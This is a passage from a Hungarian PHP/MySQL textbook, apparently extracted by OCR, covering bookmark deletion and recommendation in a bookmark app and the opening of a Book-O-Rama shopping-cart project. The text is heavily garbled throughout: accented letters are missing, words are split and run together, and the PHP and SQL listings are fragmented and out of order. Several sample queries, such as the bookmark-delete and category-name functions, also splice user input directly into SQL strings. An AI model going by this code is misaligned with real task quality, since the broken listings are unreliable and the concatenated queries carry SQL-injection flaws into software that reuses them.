Haladjunk vgig rviden a felhasznaloi_ url_lekerdezese () fggvny lpsein l Paramterknt a felhasznli nevet vrja, majd visszakeresi az adatbzisbl az adott felhasznlhoz tartoz knyvjelzket. Az ezeket az URL-eket tartalmaz tmbbel vagy- amennyiben a knyvjelzk nem visszakereshetk-false rtkkel tr vissza. A felhasznaloi_url_lekerdezese() fggvnybl szrmaz tmbt a felhasznaloi_url_megjelenitese () fggvnynek adjuk t. Ez megint csak egy egyszer, HTML kimenetet elllt fggvny, amely szp tblzacos formban jelenti meg a felhasznl knyvjelzit, gy ezzel sem foglalkozunk most rszletesebben. A 27.6 brn lthatjuk, hogy milyen kimenetet llt el. A fggvny igazbl rlapba teszi az URL-eket. Minden URL mellett egy jellngyzetet tallunk, ami lehetv teszi a felhasznlnak, hogy trlendknt ki jellje adott knyvjelzjt. A most kvetkez rszben pontosan a trls funkcit tekintjk t.
27
414
27. fejezet
Knyvjelzk trlse
Amikor a felhasznl trlsre kijelli egy vagy tbb knyvjelzjt, majd a men KJ tr lse hivatkozsra kattint, elkldi az URL-eket tartalmaz rlapot. A jellngyzeteket a felhasznaloi_url_megjeleni tese ( ) fggvny albbi kdja llrja el:
echo "<tr bgcolor=\"".$szin."\"><td><a href=\"".$url."\">".htmlspecialchars($url)."</a></ td> <td><input type=\"checkbox\" name=\"torolJ value=\"".$url."\"/></td> </tr>"; engem[]\"
Minden inputnak torolj_engem[l a neve. Ez azt jelenti, hogy az rlap ltal meghvotr PHP kdban egy $torol j_
engem nev tmbt rhetnk el, amely az sszes trlend knyvjelzt tartalmazza.
A KJ trlse hivatkozsta kattintva meghvdik a kj_torlese. php kd, amit a 27.24 pldakdban lthatunk.
27.24 pldakd: kj_torlese.php-A kd knyvjelzket trl az adatbzisbl
<?php require once('konyvjelzo_fuggvenyek.php'); session start();
echo '<p>Egyetlen knyvjelzt sem jellt ki trlsre.<br/> prblja meg jra!</p>'; felhasznaloi_menu_megjelenitese(); html lablec letrehozasa(); exit; else { if (count($torolJ engem) > 0)
{ {
$url))
if (kj_torlese($ervenyes felhasznalo,
'A
felhasznaloi_url_lekerdezese($ervenyes_felhasznalo))
felhasznaloi_url_megjelenitese($url tomb);
27
?>
415
A kd elejn elvgezzk a szoksos ellenrzsekec. Ha kiderl, hogy a felhasznl egyes knyvjelzit kijellte crlsre, a k vetkez ciklussal trljk ki azokat:
foreach($torolj_engem as $url)
{
$url))
if (kj torlese($ervenyes felhasznalo, echo 'A else echo 'Nem sikerlt trlni a
{
l>';
Lthat, hogy a kj_torlese () fggvny vgzi el a knyvjelz adatbzisbl kitrlsnek tnyleges munkjt. A fggvnye
a
27.25 pldakd: Az url_ fuggvenyek. php knyvtr kj_torlese() fggvnye- A fggvny egyetlen knyvjelzi trl afel
hasznl listjrl
function kj torlese($felhasznalo, $url)
ll a knyvjelz trlse
if (!$kapcsolat->query("DELETE FROM konyvjelzo WHERE felhasznaloi_nev='".$felhasznalo."' AND throw new Exception('A knyvjelz nem trlhet'); kj_URL='".$url."'"))
return true;
Lthatjuk, hogy a kj_torlese() is egy viszonylag egyszer fggvny. Megksrli kitrlni az adatbzisbl trlni, hiszen a tbbi felhasznl ettl fggetlenl megrizheti az erre
az
az
adott fel
hasznl ltal kijcllc knyvjelzt. Jegyezzk meg, hogy ebben az esetben adott felhasznli nv - knyvjelz prt kivnunk URL-re mutat knyvjelzjt! A 27.10 brn egy, a crlst vgz kd futtatsa ltal eredmnyezett, lehetsges kimenetet lthatunk .
IK.I.J-.1 -
27.10 bra: A trlst vgrehajt kd tjkoztatja a trlt knyvjelzk fe/hasznljt, majd megjelenti megmaradt knyvjelzit.
27
416
27.fezet
Knyvjelzk ajnlsa
Immr kszen llunk a knyvjelzk ajnlsr megvalst ajanlas.php kd megrsra.Tbbfle megkzeltst alkalmaz hatnnk az ajnlsokhoz.A pldban tnylegesen megvalstort mdszer a kzs rdekldsen alapul. Ennek megllaptshoz olyan felhasznlkat keresnk, akiknek az adott felhasznlval legalbb egy kzs knyvjelzjk van. Azt felttelezzk, hogy ezeknek a felhasznlknak a tbbi knyvjelzi is szmot tarthatnak az adott felhasznl rdekldsre. SQL lekrdezsknt ezt legegyszerbben egymsba gyazort lekrdezsek hasznlatval valsthatjuk meg.Az els egyms ba gyazott lekrdezs a kvetkezkppen nz ki:
SELECT DISTINCT(b2.felhasznaloi_nev) FROM konyvjelzo bl, konyvjelzo b2
Ez a lekrdezs aliasok segtsgvel kapcsolja ssze az adatbzis konyvjelzo tbljt nmagval- ami kicsit furcsn hangzik, de esetenknt kivl szolglatot tehet szmunkra. Kpzeljk el, hogy lnyegben kt konyvjelzo tblnk van, az egyiknek bl, a msiknak b2 a neve! A bl tblban megkeressk az akrulis felhasznlt s a knyvjelzit. A msik tblban az sszes tbbi felhasznl knyvjelzit nzzk. Olyan felhasznlkat ( b2.felhasznaloi _nev) keresnk, akiknek az aktu lis felhasznlval kzs URL-jk van ( b l. kj_URL = b2.kj_URL), s akik nem azonosak az akrulis felhasznlval ( b l.
felhasznaloi_nev ! = b2.felhasznaloi_nev) .
Ez a lekrdezs az akrulis felhasznlhoz hasonl rdeklds emberek listjt eredmnyezi. A lista birtokban kls le krdezssel kereshetnk ezen felhasznlk tbbi knyvjelzje kztt:
SELECT kj_URL FROM konyvjelzo WHERE felhasznaloi nev IN (SELECT DISTINCT(b2.felhasznaloi_nev) FROM konyvjelzo bl, konyvjelzo b2
Egy msodik egymsba gyazott lekrdezssei kiszrjk az aktulis felhasznl knyvjelzit; ha a felhasznl sajt ma gnak mr felvert egy knyvjelzt, nem sok rtelme lenne ugyanazt ajnlani neki. Vgezetl tovbbi szrst valsrunk meg a $nepszeruseg vltozval. Nem szeretnnk tl szemlyes jelleg URL-eket ajnlani, ezrt csak olyan knyvjelzte hvjuk fel a felhasznl figyelmt, amit a hasonl rdeklds felhasznlk listjbl adott szm szemly is felvert sajt knyvjelzi kz. Az utols lekrdezs a kvetkezkppen nz ki:
SELECT kj_URL FROM konyvjelzo WHERE felhasznaloi nev IN (SELECT DISTINCT(b2.felhasznaloi_nev) FROM konyvjelzo bl, konyvjelzo b2
AND bl.kj_URL = b2.kj_URL) AND kj_URL NOT IN (SELECT kj_URL FROM konyvjelzo WHERE felhasznaloi_nev='".$ervenyes felhasznalo."') GROUP BY kJ RL
HAVING COUNT(kj_URL)>".$nepszeruseg;
Ha azt tapasztaljuk, hogy mr j sok felhasznlja van rendszernknek, akkor a $nepszeruseg vltoz rtkt nvelve csak olyan URL-eket ajnlunk, amelyeket kellen nagy szm felhasznl vert fel a listjba. A sokak ltal megjellt URL-ek mgrt minden bizonnyal jobb s szlesebb kznsg szmra vonz honlapokat tallunk.
27
Az ajnlsokat elllt teljes kdot a 27.26 s a 27.27 pldakdban lthatjuk. A f kd neve aj anlas.ph p (27.26 plda kd). Ez az, ami meghvja az url_fuggvenyek.php fggvnyknyvtrbl az ajnlsokat ad url_aj anlo () fggvnyt (27.27 pldakd).
417
{
url_ajanlo($_SESSION['ervenyes felhasznalo']);
ajanlott_urlek_megjelenitese($urlek);
catch(Exception $e)
echo $e->getMessage();
27.27 pldakd:
URL-eket
function url_ajanlo($ervenyes felhasznalo, $nepszeruseg
=
l)
ll azon felhasznlk megkeresse, ll akikkel kzs URL-nk van ll a felhasznlk szemlyes jelleg knyvjelzinek kizrsa ll s a megfelel rdekldsre szmot tart URL-ek ajnlsa rdekben ll meghatrozzuk a minimlis npszersgi szintet ll ha $nepszeruseg = l,
akkor egynl tbb ember fel kellett, hogy ajnljuk azt
FROM konyvjelzo WHERE felhasznaloi nev IN (SELECT DISTINCT(b2.felhasznaloi nev) FROM konyvjelzo bl, konyvjelzo b2
WHERE bl.felhasznaloi_nev='".$ervenyes_felhasznalo."' AND bl.felhasznaloi nev AND bl.kj URL AND kj_URL NOT IN (SELECT kj_URL FROM konyvjelzo WHERE felhasznaloi_nev='".$ervenyes felhasznalo."') GROUP BY kj_URL HAVING count(kj_URL)>".$nepszeruseg;
!= b2.felhasznaloi nev
b2.kj_URL)
if
27
418
27. fejezet
if ($eredmeny->num_rows==O)
Surlek = array();
$urlek[$szamlalo]
return $urlek;
cr
tlll
._.. . a
:Y..,
.._"..
_.....
eo--
)>oi
PHPbookmark
Ajnlott URL-e
Az adatbzisban legalbb kt olyan msikJelhasznl van, aki szereti az oldalt, s Jelvette knyvjelzi kz.
Rendszergazdai fellet a felhasznlk s tmk ltrehozsra s adminisztrlsra Intelligensebb vagy gyorsabb mdszer a knyvjelzk ajnlsra
A felhasznl ltal megadott adatok tovbbi szempontok szerinti ellenrzse
Hogyan tovbb?
A kvetkez projektben online vsrlsra alkalmas kosarat hozunk ltre, amely lehetv teszi oldalunk ltogatinak, hogy bn
gszs kzben, vsrlsuk vglegestse s az elektronikus fizets eltt abba rakjk a kivlasztott termkeket.
27
28
Kosr funkci programozsa
A fejezerben megtanuljuk, hogyan kszthetnk oldalunk ltogati szmra vsrlst lehetv tev kosarat. A kosr funkcit
A
28
MySQL hasznlata cm II. rszben kidolgozott Book-O-Rama adarbzisra lrerjk. A fejezer vgn rviden megvizsgljuk
Kosr (angolul shopping eart vagy shopping basker) funkci alatt az online vsrls mechanizmust rtjk. Mikzben online
annak lehersgr, hogy ltez, nylt forrskd PHP kosarat llrunk be s vesznk ignybe weboldalunkon. katalgust bngsznk, kosrba tehetjk (kivlaszthatjuk) az egyes termkeket. Ha befejezrk a bngszst, az online bolt kasszjhoz jrulunk - vagyis kifizetjk a kosarunkba tett termkeket. A jelenlegi projekt kosr funkcijnak megvalstshoz az albbiakra lesz szksgnk: Az online rtkesteni kvnt termkek adarbzisa Online rermkkaralgus, amely karegrikra bonthat Kosr, arnivel nyomon kvethetjk a felhasznl ltal megvsrolni kvnt termkeker A fizetsi s szllrsi adatokat feldolgoz pnztr funkci Adminisztrcis fellet
A megolds alkotelemei
Bizonyra emlksznk a II. rszben kidolgozott Book-O-Rama adatbzisra. Mostani projektnkben a Book-O-Rama kny vesbolt online ruhzt fogjuk beindtani. A megolds alkotelemeinek az albbi ltalnos elvrsoknak kell megfelelnik: Meg kell tallni annak mdjr, hogyan kapcsolhatjuk ssze az adarbzist a felhasznlk bngszjveL A felhasznlk szmra lehetv kell tennnk a termkek karegrinknti bngszsr. A felhasznlk kivlaszthatjk a katalgusbl a ksbb megvsrolni kvnt termkeket. Nyomon kell kvetnnk, hogy mely termkeker vlaszrottk ki. Miutn a felhasznlk befejeztk a vsrlst, ki kell szmolnunk rendelsk vgsszegt, be kell krnnk szllrsi adata ikat, majd fel kell dolgoznunk fizetsket. Adminisztrcis felletet kell fejlesztennk a Book-O-Rama oldalhoz, hogy a rendszergazda knyveket s kategrikat adhasson az oldalhoz, illetve szerkeszrhesse a meglvket. Most, hogy megismertk a projekttel szembeni elvrsokat, elkezdhetjk megtervezni a megoldst s alkotelemeit.
420
28. fejezet
A kivlasztott ttelek munkamenet-vltoz segtsgvel trtn nyilvntartsa egyszerbben programozhat, mert nem szksges minden egyes alkalommal az adatbzist lekrdezve beszerezni az informcit. Ezzel a mdszerrel az is elkerl
28
het, hogy a csak bngsz, de vgl a kivlasztorr termkeket meg nem vsrl felhasznJk egy csom felesleges adarral terheljk az adatbzist. Ezrt munkamenet-vltozt vagy vltozkat kell kialaktani a felhasznJk ltal kivlasztorr termkek trolsra. Ami kor egy felhasznl befejezi a vsrlst, s kifizeti a megrendelt termkeket, a munkamenet-vltozban trolt informcikat a tranzakci rekordjaknt eltroljuk az adatbzisban. Ezeket az adatokat arra is felhasznlhatjuk, hogy az oldal valamelyik sarkban rvid sszegzs adjunk a kosr aktulis tartal mrl, gy a felhasznl tisztban lehet vele, hogy mennyit kell m:Yd fizetnie az addig kivlasztott termkekrt.
A megolds ttekintse
Rakjuk most ssze az eddig ttekinterr elemeket! A rendszernknek kt alapnzere van: az egyik a felhasznli, a msik a rendszergazdai nzet. Az elvrt funkcik vgiggondolsa utn kt folyamatbrt kaptunk, egyet-egyet a klnbz nzetek hez. A 28.1, illetve a 28.2 brn lthatjuk ezeket.
421
28
28.1 bra: A Book-O-Rama rendszer felhasznli nzetben a ltogatk kategrikban bngszhetnek a knyvek kztt,
28.2 bra: A Book-O-Rama alkalmazs rendszergazdai nzetben knyveket s kategrikat lehet fe/vinni, szerkeszteni s trlni.
A 28.1 bra az oldal felhasznli fellett alkot kdok kztri fbb kapcsolatokat mutatja. A vsrl elszr a nyitoldalra jut, amely az oldalon tallhat sszes knyvkategrit felsorolja. Innen adott kategrira, onnan pedig az egyes knyvek rszle tes adataira lphet tovbb. A knyvek mell hivatkozst adunk a felhasznlknak, hogy kosarukba tehessk az rut. A kosrbl az online bolt pnztrba mehernek tovbb. A 28.2 brn az adminisztrcis felletet ltjuk, amely tbb kdot tartalmaz ugyan, m ezekben nem sok jdonsg lesz. Ezek a kdok lehetv teszik a rendszergazdnak, hogy bejelentkezzen, majd knyveket s kategrikat adjon hozz a meglvkhz. A knyvek s kategrik szerkesztsnek s trlsnek Iehetsgc a legegyszerbben gy valsthatjuk meg, ha az oldal felhasznli fellethez hasonl, m arrl kiss eltr verzit jelenrunk meg a rendszergazdnak. is bngszhet a kategrik s a knyvek kztr, m a kosr helyerr az egyes knyvekre vagy kategrikra naviglhat: szerkesztheti vagy trlheti azokat. Azzal, hogy ugyanazokat a kdokat a rendes felhasznJk s a rendszergazdk szmra is hasznlhatv tesszk, idt s ener git takartharunk meg. Az alkalmazs hrom legfbb kdmodulja a kvetkez: Katalgus Kosr funkci s a rendels feldolgozsa (a kt, egymssal ersen sszefgg terletet egy kalap al vesszk) Adminisztrci
422
28. fejezet
Akrcsak az elz fejezetben, most is fuggvnyknyvtrak sort hozzuk ltre, illetve hasznljuk. Ehhez a projekthez az el zben ltotthoz hasonl fuggvny API-t fogunk ignybe venni. Prbljuk meg a HTML-t elllt kdokat egyetlen knyvrr
28
ba pakolni, mert ezzel egyrszt a mkds s a tartalom elvlasztsnak elvt kvetjk, msrszr - s ez a lnyegesebb - kny nyebben olvasharv s kezelherv tesszk kdunkat! A projekt rdekben aprbb vltoztatsokat kellett vgrehajtanunk a Book-O-Rama adatbzison, amit a II. rszben ltreho zott adarbzisrl megklnbztetend a konyv _kosar nvre kereszreltnk r. A projekt teljes kdja megtallhat a letlthet mellkletek kze. A 28.1 tblzat az alkalmazs ltal hasznlt fjlokat foglal ja ssze. 28.1 tblzat: A Nv
index.php
kategoria_megjelenitese.php
A felhasznl szmra az adott kategria sz szes knyvt megjelent oldal. A felhasznl szmra az adott knyv rszle tes adatait megjelent oldal. A felhasznl szmra a kosarnak tartalmt megjelent oldal. Termkeket is ezzel a fjllal adhatnak a kosrhoz.
konyv_megjelenitese.php
kosar_megjelenitese.php
penztar.php
Kosr
A felhasznl szmra az sszes rendelsi adatt megjelent kd. Ez gyjti be a szllt si adatokat is.
vasarlas.php
Kosr Kosr Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci Adminisztrci
A felhasznltl fizetsi adatokat begyjt oldal. A fizetsi adatokat feldolgoz s azokat az adatbzishoz hozzad kd. A mdosrsokhoz szksges rendszergazdai bejelentkezst lehetv tev kd. A rendszergazdai felhasznlt kilptet kd. A f adminisztrcis men. A rendszergazdk jelszavnak mdostsra szolgl rlap. A rendszergazdai jelszt megvltoztat kd. Az rlap, amellyel a rendszergazdk j kateg rit adhatnak az adatbzishoz. Az adatbzisba j kategrit beszr kd. Az rlap, amellyel a rendszergazdk j kny vet vihetnek fel a rendszerbe. Az adatbzisba j knyvet beszr kd. Az rlap, amellyel a rendszergazdk szerkeszt hetik a kategrikat. A szerkesztett kategrit az adatbzisban mdost kd. Az rlap, amellyel a rendszergazdk szerkeszt hetik a knyvek adatait. A szerkesztett knyvadatokat az adatbzisban mdost kd. Az adatbzisbl kategrit trl kd.
feldolgozas.php
bejelentkezes.php
jelszo_valtoztatas.php kategoria_beszurasa_urlap.php
konyv_beszurasa.php kategora_szerkesztese_urlap.php
kategoria szerkesztese.php
konyv_szerkesztese_urlap.php
konyv_szerkesztese.php
kategoria_torlese.php
423
Nv
konyv_ torlese.php konyv kosar fuggvenyek.php admin_fuggvenyek.php
Modul Adminisztrci Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek Fggvnyek SQL SQL
Az adminisztrcis kdok ltal hasznlt fgg vnyek gyjtemnye. A knyvadatok trolsra s visszakeressre szolgl fggvnyek gyjtemnye. A rendelsi adatok trolsra s visszakeres sre szolgl fggvnyek gyjtemnye. A HTML kimenetet elllt fggvnyek gyjtemnye. A felhasznlk ltal bevitt adatokat ellenrz fggvnyek gyjtemnye. A konyv_kosar adatbzishoz kapcsolds ra hasznlt fggvnyek gyjtemnye. A rendszergazdai felhasznlk hitelestsre hasznlt fggvnyek gyjtemnye. A konyv_kosar adatbzist ltrehoz SQL kd. A konyv _kosar adatbzist mintaadatokkal feltlt SQL kd.
28
konyv_fuggvenyek.php
rendelesi fuggvenyek.php
kimeneti
fuggvenyek.php
adat_ellenorzo fuggvenyek.php
adatbazis fuggvenyek.php
felhasznaloi hitelesites
-
Megjegyzs: Az alkalmazs komoly mennyisg kdbl pl fel. Ezek nagy rsze korbban (elssorban a 27. fejezetben) mr megismert Junkcikat valst meg, pldul adatok trolst s visszakeresst adatbzisbl, illetve a rendszergazdaiJelhasznl hitelestst. Rviden ezeket a kdokat is ttekink, m idnk nagy rszt a kosrfunkciknak szenteljk.
Az adatbzis ltrehozsa
Ahogy korbban mr jelezrk, aprbb mdostsokat hajtottunk vgre a II. rszben megismert Book-O-Rama adatbzison. A konyv_kosar adatbzist elllt SQL kdot a 28.1 pldakd tartalmazza.
28.1 pldakd: konyv _kosar.sqlCREATE DATABASE konyv_kosar; USE konyv_kosar;
vasarloiD INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, nev CHAR(60) NOT NULL, lakeim CHAR(80) NOT NULL,
rendelesiD INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, vasarloiD INT UNSIGNED NOT NULL REFERENCES vasarlok(vasarloiD),
424
28. fejezet
28
rendeles_allapota CHAR(lO), szallitasi nev CHAR(60) NOT NULL, szallitasi eim CHAR(80) NOT NULL, szallitasi_varos CHAR(30) NOT NULL, szallitasi allam CHAR(20), szallitasi_irsz CHAR(lO), szallitasi_orszag CHAR(20) NOT NULL TYPE=InnoDB;
isbn CHAR(13) NOT NULL PRTMARY KEY, szerzo CHAR(100), eim CHAR( 100), kategoriaiD INT UNSIGNED, ar FLOAT(4,2) NOT NULL, leiras VARCHAR(255) TYPE=InnoDB;
kategoriaiD INT UNSIGNED NOT NULL AUTO INCREMENT PRTMARY KEY, kategoria_neve CHAR(60) NOT NULL TYPE=InnoDB;
rendelesiO int UNSIGNED NOT NULL REFERENCES rendelesek(rendelesiD), isbn CHAR(13) NOT NULL REFERENCES konyvek(isbn), tetel_ara FLOAT(4,2) NOT NULL, mennyiseg TINYINT UNSIGNED NOT NULL, PRTMARY KEY (rendelesiD, isbn) TYPE=InnoDB;
j elszo
);
GRANT SELECT, INSERT, UPDATE, DELETE ON konyv_kosar.* TO konyv_kosar@loealhost IDENTIFIED BY ' j elszo';
Semmi problma nem volr ugyan az eredeti Book-O-Rama felletre!, most azonhan tovbbi kvetelmnyeknek is meg kell felelnie adatbzisunknak ahhoz, hogy online elrhetv rehessk. Az eredeti adatbzison a kvetkez vltoztatsokat hajtottuk vgre: Tovbbi cmmezk felvtele a vsrlkhoz. Ezekre az j mezkre azrt van szksg, mert a most ltrehozand alkalma zs sokkal kzelebb ll a valdi projekrekhez. A szllrsi cm hozzadsa a rendelshez. A vsrl elrhersge nem minden esetben azonos a szlltsi cmmel, kl nsen akkor nem lesz az, ha pldul ajndkot vsrol az oldalon.
425
A kategoriak rbla ltrehozsa s a konyvek rblhoz hozzadorr kategoriaiD os:dop. A knyvek kategrik ba rendezse knnyebben bngszherv teszi az oldalt. A tetel_ara felvrele a rendelesi_tetelek tblba. Erre azrt van szksg, merr az egyes termkek ra vltoz har. Fontos tudnunk, hogy mennyibe kerlt az adott rrel, amikor a vsrl megrendelte. Az admin tbla hozzadsa az adatbzishoz. Erre a tblra a rendszergazda felhasznli neve s jelszava trolsa miatt van szksgnk. Az rtkelseket tartalmaz tbla eltvoltsa. Ennek ellenre a projektet a ksbbiekben kiegszthetjk az egyes knyvekhez hozzadhat rtkelsekkeL Az rtkelsek helyett a knyv rvid lerst tartalmaz mezvel bvtettk ki a konyvek tblt. A trolmotorok InnoDB-re vltsa. Azrr tettnk gy, hogy idegen kulcsokkal dolgozhassunk, illetve hasznlni tudjuk a tranzakcikat, amikor a vsrlk megrendelseinek adatait visszk be az adatbzisba. Ahhoz, hogy fellltsuk rendszernkn ezt az adatbzist, futtassuk root MySQL-felhasznlknt a konyv_kosar. sql kdot az albbiak szerinr:
mysql -u root -p < konyv_kosar.sql
28
(A parancs futtatshoz meg kell adni root jelszavunkat.) Mindenek eltt rdemes a konyv_ kosar felhasznlnak a ' j els z o' -nl biztonsgosabb jelszt vlasztani. Vigyzat! Ha a konyv_kosar. sql fjlban mdostjuk a jelszt, az adatbazis_ fuggvenyek. php kdban is meg kell ezt tennnk. (Rvidesen ltni fogjuk, hogy pontosan hol.) A projekthez tartozik egy feltoltes. sq_ nev, mintaadatokat tartalmaz f:ijl. Ha az elbbihez hasonl mdon ezt a f:ijlt is futtatjuk MySQL-ben, a mintaadatok bekerlnek adarbzisunkba.
illetve az egyes knyvek rszleteit tartalmaz oldalak. A honlap nyroldalr az index. php nev kd lltja el. E kd eredmnyt a 28.3 brn lthatjuk.
,.....-......,._,_,...
.g___.-.- ---- -
C )
.,j--=--,.;,;.;,-,;;-:= r-=-W)
Figyeljk meg, hogy az oldalon elrhet kategrik list:ija mellett a kosrra mutar hivatkozst is ltharunk a kperny jobb fels sarkban! Ugyanitt a kosr aktulis rarralmrl is megjelennek sszefoglal adatok. Ezek az elemek minden oldalon lt hatk lesznek, amig a felhasznl vlogat s vsrol az oldalon. Ha a vsrl a kategrik valamelyikre kattint, akkor az adott kategria oldalra kerl, amit a kategoria_
megj elenitese. php
Az internetes kategriba tartoz sszes knyv hivatkozsknt szerepel. Ha a felhasznl rkattint valamelyik hivatkozsra, a knyv rszletes adatait tartalmaz oldalra kerl. A 28.5 brn az egyik knyvet rszletesen bemutat oldalt lthatjuk. Az ezeken az oldalakon lthat"Kosrba tesz" gomb lehetsget ad a felhasznlknak, hogy vsrls cljbl kivlasszk a rermket. Erre a funkcira ksbb, amikor megnzzk, hogyan hozhatjuk ltre a kosarat, visszatrnk majd. Vizsgljuk meg most egyenknt ezt a hrom kdot!
426
28. fejezet
28
28.5 bra: Mindegyik knyvnek sajt oldala van, amely tovbbi informcit, egyebek kztt hosszabb lerst tartalmaz a kiadvnyrl.
Kategrik listzsa
A projektben hasznlt els kd, az index.php az adatbzisban lev sszes kategrit kilistzza. A kdot a 28.2 pldakdban lthatjuk. 28.2 pldakd: index. ph p -Az online knyvesbolt nyitoldalt elllt kd
<?php session start();
include ('konyv_kosar fuggvenyek.php'); ll A kosrfunkcikhoz munkamenetekre van szksg, ezrt indtsunk egyet!
kategerlak lekerese();
427
{
"Admin men");
"admin-menu",
28
A kd a konyv_kosar_fuggvenyek. php beilleszrsvel indul. Ez a f:ijl az alkalmazs sszes fggvnyknyvrrt tartalmazza. Ezt kveten munkamenetet (sessiont) kell kezdennk. Erre a kosr funkci mkdse rdekben van szksg. A honlap sszes oldala hasznlni fogja a munkamenetet. Az index. php kd olyan HTML kimeneti fggvnyeket is meghv, mint a html_fejlee _letrehozasa () s
a
html_lablec_letrehozasa
olyan utastsokat is tartalmaz, amelyekkel megllapthat, hogy a felhasznl rendszergazdaknt lpett-e be, hiszen ebben az esetben msmilyen navigcis lehetsgeket kell megjelenteni. Erre a krdsre mg visszatrnk majd a rendszergazdai funkci kkal foglalkoz rszben. A kd legfontosabb rsze a kvetkez:
ll kategrik kigyjtse az adatbzisbl
$kat_tomb = kategoriak_lekerese();
kimeneti_fuggvenyek.php
megtallhat kategrik tmbjt adja vissza, amit a kategoriak _megjelenitese() fggvnynek adunk t. Nzzk meg elszr a kategoriak_lekerese () fggvny kdjt, amit a 28.3 pldakdban tallunk!
28.3 pldakd: A konyv_fuggvenyek. php knyvtr kategoriak_ lekerese ()fggvnye- Ez afggvny keresi vissza
"SELECT kategoriaiD,
kategoria_neve
FROM kategoriak";
@$kapcsolat->query($lekerdezes);
(! $eredmeny)
return false;
$kategoriak_szama
@$eredmeny->num_rows;
0)
A kdbl kiderl, hogy a kategori ak_lekerese() fggvny kapcsoldik az adatbzishoz, s visszakeresi a kategria azonosrk s -nevek listjt. Ehhez rtunk egy adatbazis _ eredmenyek _tombbe ( ) nev fggvnyt, amely az
adatbazis_fuggvenyek. php eredmeny
vltozt, s sorok numerikusan indexelt tmbjt adja vissza, ahol a sorok mindegyike asszociatv tmb.
428
28. fejezer
for ($szamlalo=O;
$sor = $eredmeny->fetch_assoc();
$szamlalo++) {
$eredmeny_tomb[$szamlalo] = $sor;
28
return $eredmeny_tomb;
Jelen esetben ezr a rmbr visszajuttatjuk az index. php kdba, ahol is a kimeneti_ fuggvenyek. php knyvtr
kategoriak_megjelenitese() fggvnynek adjuk r. Ez a fggvny hivatkozsknt jelenti meg az egyes kategrikat,
amely hivatkozsok az adott kategriban lv knyveket megjelent oldalra mutarnak. Kdjt a 28.5 pldakdban ralljuk.
28.5 pldakd: A kimeneti_fuggvenyek. php
knyvtr kategoriak_megjelenitese() fggvnye- A fggvny az egyes kategrikra mutat hivatkozsok listjaknt jelenti meg a kategrikat tartalmaz tmbt
{
$eim = $sor['kategoria neve']; echo "<li>"; html_url letrehozasa($url, echo "</li>"; $eim);
A kategoriak_megjelenitese() fggvny az adatbzisbl kinyert sszes kategrit hivatkozss alakitja t. Az sszes hivatkozs a kategoria_megjelenitese. php kdra mutat, de mindegyik egymstl klnbz paramterrel
{kategoriaiD) rendelkezik. (Ez a MySQL ltal generlt egyedi szm azonostja a kategrit.) Ez a paramter hatrozza
meg, hogy az adott hivatkozsra katrintva melyik kategrit fogjuk ltni.
include ('konyv_kosar_fuggvenyek.php');
ll
429
konyvek_megjelenitese($konyv_tomb};
28
"admin-menu",
{
"vasarlas-folytatasa", "Vsrls folytatsa"};
gomb_megjelenitese("index.php",
html_lablec_letrehozasa(}; ?>
A fenti kd szerkezetileg a nyitoldalhoz hasonl, a klnbsg annyi, hogy kategrik helyett most knyveket keresnk vissza az adatbzisbL Szoks szerint a session_start(} fggvnnyel indtunk, majd a kategoria _nev_lekerese(} fggvnnyel kateg rianvv alaktjuk t az radott kategriaazonostt:
$nev = kategoria_nev_lekerese($kategoriaiD};
A 28.7 pldakdban lthat fggvny a kategria nevt keresi ki az adatbzisbL 28.7 pldakd: A konyv _fuggvenyek.php knyvtr kategoria_nev_lekerese (}fggvnye- A kategria azonostjt nvv talaktfggvny
function kategoria nev lekerese($kategoriaiD}
'".$kategoriaiD."'";
@$kapcsolat->query($lekerdezes};
(! $eredmeny} {
return false;
$kategoriak_szama
@$eredmeny->num rows; 0}
A kategria nevnek megllaptsa utn elksztjk a HTML fejlcet, majd az adott kategriba es knyvek visszakeress vel s listzsval folytatjuk a kdot:
$konyv_tomb = konyvek_lekerese($kategoriaiD}; konyvek_megjelenitese($konyv_tomb};
A konyvek lekerese(} s a konyvek_megjelem. tese(} fggvny nagyon hasonl a kategoriak_lekerese(} s a kategoriak _megjelenitese(} fggvnyhez, gy ezek rszleteibe most nem megynk bele. Az egyetlen klnbsg kzttk, hogy a kategoriak helyett a konyvek tblbl keresik vissza a bennnket rdekl adatokat.
430
28. fejezet
adott knyv sajt oldalra jutunk. A hivatkozsokhoz megint csak uttagknt adunk egy paramtert, amely jelen esetben az
28
bejelentkezett felhasznlk szmra. Ezeket a funkcikat a rendszergazdai felhasznlkkal foglalkoz rszben vizsgljuk meg.
include ('konyv_kosar_fuggvenyek.php');
"index.php";
if($konyv [ 'kategoriaiD' l)
$cel = "kategoria_megjelenitese.php?kategoriaiD=".$konyv['kategoriaiD'l;
{
"Ttel szerkesztse"); "Admin men");
"admin-menu", "Tovbb");
"tovabb",
{
"kosarba-tesz", "".$konyv ['eim'l." kosrba ttele");
gomb_megjelenitese("kosar_megjelenitese.php?uj=".$isbn,
gomb_megjelenitese($cel,
"vasarlas-folytatasa",
"Vsrls folytatsa");
Ezzel a kddal is valami hasonlt rnk el, mint az elz kt oldalon hasznlttal. Elszr is egy munkamenetet kezdnk, majd a
$konyv = konyvadatok_lekerese($isbn);
431
Vegyk szre, hogy a konyvada tok_megj elen i tese ( ) fggvnyben egy kpfjl r keresnk a knyvhz az
images/". $konyv ['isbn' J
".jpg elrsi tvonallal. amelyben a fjl neve a knyv ISBN-kdja plusz a Jpg kiterjeszts!
Ha a fjl nem tallhat az images, vagyis.. kpek" almappban, nem fog kp megjelenni. A konyv_megjelenitese. php kd tbbi rsze navigcis lehetsgeket ad az oldal lrogarjnak. Az ltalnos felhasznJk a.,Vsrls folytars' s a.,Ko srba resz" gomb kzl vlaszthatnak. Az elbbi a kategrikat megjelent oldalra viszi a felhasznlkat, az utbbival pedig kosarukba rakharjk az adott knyvet. Ha a felhasznl rendszergazdaknt jelentkezerr be, ms lehetsgek kzl vlaszthar ezeker az adminisztrcit trgyal rszben mutatjuk be. Ezzel tnztk a katalgusrendszer alapjait, gy kvetkezhernek a kosr funkcit megvalst kdok.
28
Kosata ---
